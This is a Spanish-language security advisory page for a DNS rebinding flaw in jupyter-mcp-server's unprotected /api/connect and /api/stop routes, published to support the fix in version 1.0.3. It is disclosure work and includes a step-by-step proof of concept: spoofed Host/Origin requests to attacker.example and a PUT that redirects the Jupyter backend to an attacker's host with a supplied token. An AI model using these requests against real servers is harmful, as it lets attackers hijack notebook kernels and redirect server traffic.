llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · jupyter-mcp-server

GHSA-9X8X-CRJQ-G64H

Jupyter MCP Server: el DNS rebinding desde el navegador puede secuestrar el backend de Jupyter a través de rutas de gestión

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión1.0.3
Exposición1 dDesde la divulgación, 19 nov 2026, 7:12 p. m.
Detección41 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
07:12 p. m.
08:35 p. m.
07:12 p. m.
01:33 a. m.
07:54 a. m.
02:14 p. m.
08:35 p. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-9X8X-CRJQ-G64H divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

El modo independiente `streamable-http` en `datalayer/jupyter-mcp-server` rechaza las cabeceras `Host` y `Origin` falsificadas en `/mcp`, pero las rutas de gestión personalizadas montadas en la misma aplicación no tienen la misma protección de origen del navegador. Un sitio web malicioso puede mantener un origen del atacante mientras su nombre de host se resuelve a `127.0.0.1` o a una dirección objetivo privada, y luego enviar `PUT /api/connect` para reemplazar el backend activo de Jupyter del servidor MCP. La ruta acepta la solicitud con forma de navegador y hace que el servidor inicie un cliente de kernel contra infraestructura controlada por el atacante.

El endpoint protegido `/mcp` muestra el límite de origen del navegador previsto. Con `MCP_TOKEN` configurado, `/mcp` rechaza las cabeceras de navegador falsificadas:

POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header

La ruta vulnerable es `jupyter_mcp_server/server.py:143-187`. Analiza el JSON del llamador, actualiza la configuración del backend activo de Jupyter, restablece `ServerContext` e inicia el kernel sin aplicar a la ruta personalizada el rechazo de Host/Origin de `/mcp`:

@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

`/api/stop` también modifica el estado y acepta la misma forma de solicitud desde el navegador:

# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Prueba de concepto

Ejecute la versión afectada con `MCP_TOKEN` configurado:

git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

Primero, demuestre que `/mcp` rechaza la solicitud con forma de navegador:

POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Respuesta observada:

HTTP/1.1 421
Invalid Host header

Ahora envíe la misma forma de origen de navegador a la ruta de gestión personalizada. En un ataque de DNS rebinding desde el navegador, la página controlada por el atacante mantiene un origen del atacante mientras el nombre de host se resuelve a `127.0.0.1` o al listener MCP privado:

PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}

Respuesta observada:

HTTP/1.1 200 OK
content-type: application/json

{"success":true}

El registro del servidor muestra que `/api/connect` aceptó el backend elegido por el atacante a pesar de las cabeceras de origen del navegador:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

Cuando un backend controlado por el atacante escucha en `127.0.0.1:9183`, recibe tráfico de la API de Jupyter desde el servidor MCP:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND

Impacto

El endpoint protegido `/mcp` rechaza los valores falsificados de `Host` y `Origin`, pero las rutas personalizadas adyacentes los aceptan y realizan cambios sensibles de estado. Un atacante web puede usar DNS rebinding para alcanzar desde el navegador de la víctima un listener MCP local, de la LAN, de una VPN o publicado en Docker; detener el kernel del cuaderno actual mediante `/api/stop`; reemplazar `runtime_url` y `document_url` configurados mediante `/api/connect`; y hacer que el servidor MCP inicie tráfico de la API de Jupyter y de WebSocket hacia infraestructura controlada por el atacante.

Por qué es una vulnerabilidad y no un comportamiento previsto

  • No se trata de una afirmación genérica de que `/mcp` carezca de validación de Host. `/mcp` rechaza la repetición con Host falsificado con `HTTP 421 Invalid Host header`.
  • No es una operación de un cliente MCP de confianza. La ruta vulnerable es una ruta HTTP personalizada fuera del despacho normal de herramientas JSON-RPC, y acepta solicitudes con forma de navegador.
  • No es solo un problema de enlace amplio. El enlace predeterminado a `0.0.0.0` aumenta la exposición, pero el fallo del límite de origen del navegador se debe a que las rutas personalizadas que modifican el estado eluden los controles de Host/Origin aplicados a `/mcp`.

Remediación

Apli que la misma política de seguridad de origen del navegador a cada ruta montada en la aplicación HTTP independiente:

  1. Aplique la validación de Host y Origin antes de que las rutas personalizadas analicen los cuerpos de solicitud o modifiquen la configuración global.
  2. Exija el token bearer `MCP_TOKEN` en `/api/connect`, `/api/stop`, `/api/healthz` y en cualquier ruta personalizada futura que lea o cambie el estado del servidor.
  3. Enlace el HTTP independiente a `127.0.0.1` de forma predeterminada, y exija una lista de hosts permitidos explícita para los listeners que no sean de loopback.
  4. Agregue pruebas de regresión que demuestren que `/api/connect` y `/api/stop` rechazan las cabeceras `Host` y `Origin` de navegador falsificadas.
Versiones

Rangos afectados

Afectada Corregida
jupyter-mcp-server< 1.0.3
1.0.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIjupyter-mcp-server
Corregida 1.0.3 — —
Versiones corregidas1.0.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-77359
Otrahttps://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h
Otrahttps://github.com/datalayer/jupyter-mcp-server/pull/262
Otrahttps://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4
Otrahttps://github.com/datalayer/jupyter-mcp-server
Otrahttps://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.